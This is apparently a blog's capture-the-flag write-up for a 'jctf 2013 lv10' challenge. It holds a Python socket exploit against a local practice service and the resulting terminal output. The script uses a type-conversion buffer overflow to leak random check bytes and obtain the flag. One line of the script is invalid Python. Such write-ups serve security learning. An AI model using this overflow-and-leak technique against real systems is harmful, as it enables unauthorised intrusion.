binary
# jctf 2013 lv10 exploit -
from socket import *
import time
ip = "127.0.0.1"
port = 31333
payload = "257\n" # type conversion
payload = "134525080\n" # random[16]
payload = "7\n" # exit
payload = "A"*19 #buff ~ 19
payload = "\n" # buff ~ 20
s = socket(AF_INET, SOCK_STREAM)
s.connect((ip, port))
print s.recv(1024)
s.send("257\n")
print s.recv(1024)
s.send("134525080\n")
print s.recv(1024)
s.send("7\n")
print s.recv(1024)
s.send("A"*19 "\n")
time.sleep(1)
canary = s.recv(1024)
print canary
canary = canary[164:]
print canary
s.send(canary)
print s.recv(1024)
위는 익스플로잇이다.
root@ubuntu:/home/sweetchip/Desktop/cyber/jctf# python ./a.py
Get me your information.
1. Age
2. Sex
3. Birth
4. Favorite number
5. Reversing skill
6. Exploitaion skill
7. Exit this menu
INPUT:
Value?
INPUT:
add_value(): added
Get me your information.
1. Age
2. Sex
3. Birth
4. Favorite number
5. Reversing skill
6. Exploitaion skill
7. Exit this menu
INPUT:
Thanks for the info.
1: number - 00000101, value - 0804b098
Are you trying to buffer overflow?!:
INPUT: [1] error: the buffer is too long. [36][AAAAAAAAAAAAAAAAAAA
ǖ>丒𢡊ඝ
Input the random bytes, if correct, you'll get the flag!
INPUT:
ǖ>丒𢡊ඝ
Input the random bytes, if correct, you'll get the flag!
INPUT:
Oh, wow! Congrats! The key is: this is flag zz << 임시로 만들어둔 플래그입니다.
INPUT:
root@ubuntu:/home/sweetchip/Desktop/cyber/jctf#
원래 로컬 문제지만 그냥 리모트로 돌리고 exploit을 진행했다.
또 이문제는 여러 풀이가 있을수 있지만 이번엔 type conversion buffer overflow 를 이용하여 random값을 유출시킨 뒤 풀었다.
2014 CodeGate Junior PreQual - Closure, RunCommand (5) | 2014.02.16 |
---|---|
CodeGate 2013 Vulnerability 400 Exploit (0) | 2014.02.15 |
2013 POC - POWER OF XX 여성 해킹방어대회 Easy2.Net Write-up (22) | 2013.11.09 |
2013 POC - POWER OF XX 여성해킹방어대회 Easy.Net Write-up (0) | 2013.11.08 |
2013 CSAW CTF Exploitation 300 [exploit] (0) | 2013.09.23 |